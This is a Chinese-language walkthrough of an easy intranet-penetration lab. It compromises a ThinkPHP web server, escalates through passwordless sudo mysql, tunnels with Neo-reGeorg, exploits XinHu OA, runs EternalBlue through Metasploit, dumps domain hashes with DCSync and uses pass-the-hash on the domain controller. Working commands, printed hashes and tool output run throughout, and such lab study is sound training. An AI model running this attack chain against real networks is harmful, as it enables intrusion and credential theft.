Initial

靶标介绍

Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。

知识点

  • DCSync
  • CVE
  • 域渗透

外网

ThinkPHP RCE → User Access

​ 访问外网根据网站的图标就发现了是一个thikphp的图标,利用ThinkPHP工具箱检查梭一下

[+] http://39.99.250.2 的检测结果如下:
=====================================================================
....
[+] 目标存在tp5_construct_code_exec_1漏洞
[-] 目标不存在tp2_lite_code_exec漏洞
[+] 目标存在tp5_construct_code_exec_2漏洞
....

Initial-ThinkPHP

​ 使用蚁剑可以成功连接,可以发现权限还是比较低,现在的任务就是提权。检查特权位发现mysql可以sudo无密码使用。

(www-data:/var/www/html) $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(www-data:/var/www/html) $ sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
    (root) NOPASSWD: /usr/bin/mysql

​ 利用-e '\! <commaned>'执行外部命令,因为是root权限所以我们直接使用find看看旗帜在哪并读取。

(www-data:/var/www/html) $ sudo mysql -e '\! find / -name flag*'
...
/root/flag
/root/flag/flag01.txt
...
(www-data:/var/www/html) $ sudo mysql -e '\! cat /root/flag/flag01.txt'
 ██     ██ ██     ██       ███████   ███████       ██     ████     ██   ████████ 
░░██   ██ ░██    ████     ██░░░░░██ ░██░░░░██     ████   ░██░██   ░██  ██░░░░░░██
 ░░██ ██  ░██   ██░░██   ██     ░░██░██   ░██    ██░░██  ░██░░██  ░██ ██      ░░ 
  ░░███   ░██  ██  ░░██ ░██      ░██░███████    ██  ░░██ ░██ ░░██ ░██░██         
   ██░██  ░██ ██████████░██      ░██░██░░░██   ██████████░██  ░░██░██░██    █████
  ██ ░░██ ░██░██░░░░░░██░░██     ██ ░██  ░░██ ░██░░░░░░██░██   ░░████░░██  ░░░░██
 ██   ░░██░██░██     ░██ ░░███████  ░██   ░░██░██     ░██░██    ░░███ ░░████████ 
░░     ░░ ░░ ░░      ░░   ░░░░░░░   ░░     ░░ ░░      ░░ ░░      ░░░   ░░░░░░░░  
Congratulations!!! You found the first flag, the next flag may be in a server in the internal network.
flag01: 

至此获得了第一部分的flag

Get Info

​ 外网拿下后就开始向内网进发了,获取网络信息然后上传fscan扫描内网。

(www-data:/var/www/html) $ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.1.15  netmask 255.255.0.0  broadcast 172.22.255.255
        inet6 fe80::216:3eff:fe1a:87a4  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:1a:87:a4  txqueuelen 1000  (Ethernet)
        RX packets 183009  bytes 263426260 (263.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 30541  bytes 4724703 (4.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
(www-data:/var/www/html) $ ./fscan_amd64 -h 172.22.1.0/24
(www-data:/var/www/html) $ cat result.txt
172.22.1.2:88 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.2:445 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
[*] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] NetInfo:
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[*] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] WebTitle: http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetBios: 172.22.1.2      [+]DC DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393 
[*] NetBios: 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600 
[*] NetBios: 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21    MS17-010    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle: http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

从中可以知道我们的目标:

  • 172.22.1.2:DC域控
  • 172.22.1.21:Windows的机器并且存在MS17-010 漏洞
  • 172.22.1.18:信呼OA办公系统

利用Neo挂上代理就可以开始对内网进行了。

└─# python3 neoreg.py -k [password] -u http://TargetIp/tunnel.php

          "$$$$$$''  'M$  '$$$@m
        :$$$$$$$$$$$$$$''$$$$'
       '$'    'JZI'$$&  $$$$'
                 '$$$  '$$$$
                 $$$$  J$$$$'
                m$$$$  $$$$,
                $$$$@  '$$$$_          Neo-reGeorg
             '1t$$$$' '$$$$<
          '$$$$$$$$$$'  $$$$          version 5.1.0
               '@$$$$'  $$$$'
                '$$$$  '$$$@
             'z$$$$$$  @$$$
                r$$$   $$|
                '$$v c$$
               '$$v $$v$$$$$$$$$#
               $$x$$$$$$$$$twelve$$$@$'
             @$$$@L '    '<@$$$$$$$$`
           $$                 '$$$
    [ Github ] https://github.com/L-codes/Neo-reGeorg
+------------------------------------------------------------------------+
  Log Level set to [ERROR]
  Starting SOCKS5 server [127.0.0.1:1080]
  Tunnel at:
    http://TargetIp/tunnel.php
+------------------------------------------------------------------------+

内网

信呼OA

​ 先选择打信呼OA(大概率是nday)使用弱密码admin:admin123就能进入后台,能发现版本是v2.2.8。

XinHuOA

​ 通过对版本RCE的搜索发现可使用的RCE脚本。这里使用脚本时需将1.phpexp.py放在同一级目录。

└─$ proxychains4 python3 exp.py
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.22.1.18:80  ...  OK
11
/upload/2023-11/14_17244160.php
<br />
<b>Notice</b>:  Undefined offset: 1 in <b>C:\phpStudy\PHPTutorial\WWW\upload\2023-11\14_17244160.php</b> on line <b>1</b><br />

​ 执行成功后知道木马文件地址便可以蚁剑代理上线,蚁剑代理地址为Socks代理服务地址。由于shell是window本地最高权限所以不用考虑提权问题,直接获取旗帜就可以了。

C:\Users\Administrator\flag> whoami
nt authority\system
C:\Users\Administrator\flag> dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 E0D6-4F4A
 C:\Users\Administrator\flag 的目录
2022/06/05  21:07    <DIR>          .
2022/06/05  21:07    <DIR>          ..
2022/06/05  21:08               776 flag02.txt
               1 个文件            776 字节
               2 个目录 22,495,100,928 可用字节
 
C:\Users\Administrator\flag> type flag02.txt
 ___    ___ ___  ________  ________  ________  ________  ________   ________     
|\  \  /  /|\  \|\   __  \|\   __  \|\   __  \|\   __  \|\   ___  \|\   ____\    
\ \  \/  / | \  \ \  \|\  \ \  \|\  \ \  \|\  \ \  \|\  \ \  \\ \  \ \  \___|    
 \ \    / / \ \  \ \   __  \ \  \\\  \ \   _  _\ \   __  \ \  \\ \  \ \  \  ___  
  /     \/   \ \  \ \  \ \  \ \  \\\  \ \  \\  \\ \  \ \  \ \  \\ \  \ \  \|\  \ 
 /  /\   \    \ \__\ \__\ \__\ \_______\ \__\\ _\\ \__\ \__\ \__\\ \__\ \_______\
/__/ /\ __\    \|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__| \|__|\|_______|
|__|/ \|__|                                                                      
flag02: 
Awesome! ! ! You found the second flag, now you can attack the domain controller.

MS17-010(EternalBlue)

​ 在msf上有所以我们就直接打就可以了,proxychains4的代理地址依旧是Socks代理服务地址。

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

​ 执行完后便可以获得一个正向shell,后面就是利用DCSync进行横移

meterpreter > load kiwi
meterpreter > kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  fb812eea13a18b7fcdb8e6d67ddc205b        514
1106    Marcus  e07510a4284b3c97c8e7dee970918c5c        512
1107    Charles f6a9881cd5ae709abb4ac9ab87f24617        512
500     Administrator   [delited]        512
1000    DC01$   d0bca61b156d1822e532c1a35c7a3ba2        532480
1104    XIAORANG-OA01$  48013789131ab39c802d9b3cf37dc191        4096
1108    XIAORANG-WIN7$  581cc2296a4807720db29e8b2b245db6        4096
mimikatz(powershell) # exit
Bye!

DC域控

​ 知道了域管理的hash后便利用Crackmapexec进行哈希传递

└─# proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H [delited] -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.22.1.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.22.1.2:135  ...  OK
SMB         172.22.1.2      445    DC01             [*] Windows Server 2016 Datacenter 14393 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.22.1.2:445  ...  OK
SMB         172.22.1.2      445    DC01             [+] xiaorang.lab\administrator:10cf89a850fb1cdbe6bb432b859164c8 (Pwn3d!)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.22.1.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.22.1.2:49668  ...  OK
SMB         172.22.1.2      445    DC01             [+] Executed command 
SMB         172.22.1.2      445    DC01             ___   ___
SMB         172.22.1.2      445    DC01             \\ / /       / /    // | |     //   ) ) //   ) )  // | |     /|    / / //   ) )
SMB         172.22.1.2      445    DC01             \  /       / /    //__| |    //   / / //___/ /  //__| |    //|   / / //
SMB         172.22.1.2      445    DC01             / /       / /    / ___  |   //   / / / ___ (   / ___  |   // |  / / //  ____
SMB         172.22.1.2      445    DC01             / /\\     / /    //    | |  //   / / //   | |  //    | |  //  | / / //    / /
SMB         172.22.1.2      445    DC01             / /  \\ __/ /___ //     | | ((___/ / //    | | //     | | //   |/ / ((____/ /
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             flag03: 
SMB         172.22.1.2      445    DC01             
SMB         172.22.1.2      445    DC01             Unbelievable! ! You found the last flag, which means you have full control over the entire domain network.